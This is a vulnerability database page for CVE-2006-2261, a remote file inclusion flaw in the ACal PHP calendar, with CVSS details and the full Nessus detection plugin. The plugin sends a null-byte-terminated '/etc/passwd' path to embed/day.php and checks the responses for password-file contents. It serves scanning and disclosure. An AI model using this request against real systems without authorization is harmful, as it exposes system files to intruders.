Vulnerabilities > CVE-2006-2261 - Remote File Include vulnerability in Acal 2.2.4/2.2.5/2.2.6

047910
CVSS 7.5 - HIGH
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
PARTIAL
Integrity impact
PARTIAL
Availability impact
PARTIAL
network
low complexity
acal
nessus
exploit available

Summary

PHP remote file inclusion vulnerability in day.php in ACal 2.2.6 allows remote attackers to execute arbitrary PHP code via a URL in the path parameter.

Vulnerable Configurations

Part Description Count
Application
Acal
3

Exploit-Db

descriptionACal. CVE-2006-2261. Webapps exploit for php platform
fileexploits/php/webapps/1763.txt
idEDB-ID:1763
last seen2016-01-31
modified2006-05-07
platformphp
port
published2006-05-07
reporterPiNGuX
sourcehttps://www.exploit-db.com/download/1763/
titleACal <= 2.2.6 day.php Remote File Inclusion Vulnerability
typewebapps

Nessus

NASL familyCGI abuses
NASL idACAL_PATH_FILE_INCLUDE.NASL
descriptionThe remote host is running ACal, an open source, web-based event calendar written in PHP. The version of ACal installed on the remote host fails to sanitize user-supplied input to the
last seen2020-06-01
modified2020-06-02
plugin id21557
published2006-05-15
reporterThis script is Copyright (C) 2006-2018 and is owned by Tenable, Inc. or an Affiliate thereof.
sourcehttps://www.tenable.com/plugins/nessus/21557
titleACal embed/day.php path Parameter Remote File Inclusion
code
#
# (C) Tenable Network Security, Inc.
#


include("compat.inc");

if (description)
{
  script_id(21557);
  script_version("1.21");

  script_cve_id("CVE-2006-2261");
  script_bugtraq_id(17886);
  script_xref(name:"EDB-ID", value:"1763");

  script_name(english:"ACal embed/day.php path Parameter Remote File Inclusion");
  script_summary(english:"Tries to read /etc/passwd using ACal");

 script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP script that is affected by a
remote file include issue." );
 script_set_attribute(attribute:"description", value:
"The remote host is running ACal, an open source, web-based event
calendar written in PHP. 

The version of ACal installed on the remote host fails to sanitize
user-supplied input to the 'path' parameter of the 'embed/day.php'
script before using it in PHP 'include()' functions.  Provided PHP's
'register_globals' setting is enabled, an unauthenticated attacker may
be able to exploit this issue to view arbitrary files on the remote
host or to execute arbitrary PHP code, possibly taken from third-party
hosts." );
 script_set_attribute(attribute:"solution", value:
"Unknown at this time." );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
 script_set_cvss_temporal_vector("CVSS2#E:F/RL:W/RC:ND");
 script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
 script_set_attribute(attribute:"exploit_available", value:"true");
 script_set_attribute(attribute:"plugin_publication_date", value: "2006/05/15");
 script_set_attribute(attribute:"vuln_publication_date", value: "2006/05/07");
 script_cvs_date("Date: 2018/06/13 18:56:25");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe", value:"cpe:/a:acal:acal");
script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_end_attributes();


  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2006-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("http_version.nasl");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);
  script_require_keys("www/PHP");
  exit(0);
}

include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("data_protection.inc");

port = get_http_port(default:80);
if (!can_host_php(port:port)) exit(0);


# Loop through various directories.
if (thorough_tests) dirs = list_uniq(make_list("/acal", "/calendar", cgi_dirs()));
else dirs = make_list(cgi_dirs());

foreach dir (dirs)
{
  # Try to exploit one of the flaws to read a file.
  file = "/etc/passwd%00";
  r = http_send_recv3(method:"GET", port:port,
    item:string(dir, "/embed/day.php?",
      "path=", file));
  if (isnull(r)) exit(0);
  res = r[2];

  # There's a problem if...
  if (
    # it looks like ACal and...
    '<h1 class="day-title"' >< res &&
    (
      # there's an entry for root or...
      egrep(pattern:"root:.*:0:[01]:", string:res) ||
      # we get an error saying "failed to open stream".
      #
      # nb: this suggests magic_quotes_gpc was enabled but an attacker with
      #     local access and/or remote file inclusion might still work.
      egrep(pattern:"main\(/etc/passwd\\0functions\.php.+ failed to open stream", string:res) ||
      # we get an error claiming the file doesn't exist or...
      egrep(pattern:"main\(/etc/passwd\).*: failed to open stream: No such file or directory", string:res) ||
      # we get an error about open_basedir restriction.
      egrep(pattern:"main.+ open_basedir restriction in effect. File\(/etc/passwd", string:res)
    )
  )
  {
    if (egrep(string:res, pattern:"root:.*:0:[01]:"))
      contents = res - strstr(res, "<br");

    if (isnull(contents)) security_hole(port);
    else
    {
      contents = data_protection::redact_etc_passwd(output:contents);
      report = string(
        "\n",
        "Here are the repeated contents of the file '/etc/passwd' that\n",
        "Nessus was able to read from the remote host :\n",
        "\n",
        contents
      );
      security_hole(port:port, extra:report);
    }
    exit(0);
  }
}